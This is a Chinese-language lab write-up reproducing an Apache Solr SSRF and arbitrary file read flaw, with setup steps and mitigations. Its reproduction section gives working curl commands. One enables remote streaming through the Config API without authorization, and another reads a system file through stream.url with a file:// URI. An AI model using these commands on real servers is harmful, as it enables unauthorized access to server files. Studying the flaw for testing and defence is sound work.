目录
漏洞简述
Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。
该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
影响版本
- Apache Solr <=8.8.1 (latest) ,通杀所有版本,官方拒绝修复
环境搭建
下载链接:链接: https://pan.baidu.com/s/1h4MM2XAOWspfTh4QOwGjhw?pwd=6dtf 提取码: 6dtf
解压到小蓝皮(phpstudy_pro)的根目录
在 bin 目录的地址栏输入 cmd 打开终端,开启一个端口
solr start -p 3333
在浏览器搜索
127.0.0.1:3333
如果127.0.0.1不行的话就使用 ipconfig
命令查看本机IP,用本机 IP 去访问
此时 Solr 已经在 server/solr 目录下已经创建了名字为 new_core 的文件夹
把 solr-8.8.1\server\solr\configsets\_default 下的 conf 的文件夹复制到 solr-8.8.1\server\solr\new_core 目录里
然后再返回页面点击 Add Core
漏洞复现
通过访问以下地址可以看到当前的 Core 名称
http://127.0.0.1:3333/solr/admin/cores?indexInfo=false&wt=json
结合上一步获取到的 Core 名称访问以下地址可查看详细信息
http://127.0.0.1:3333/solr/new_core/config
使用 curl 对 Config API 打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming
开关
curl -d "{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}" http://192.168.110.24:3333/solr/new_core/config -H "Content-type:application/json"
使用 curl 对 stream.url 参数利用 file 伪协议读取本机的 hosts 的文件
curl "http://192.168.110.24:3333/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///C:\Windows\System32\drivers\etc\hosts"
漏洞检测
GitHub - Henry4E36/Solr-SSRF: Apache Solr SSRF(CVE-2021-27905)
GitHub - W2Ning/Solr-SSRF: CVE-2021-27905
漏洞修复
- 将 Solr 端口仅对内网开放,并配置访问策略
- 无修复版本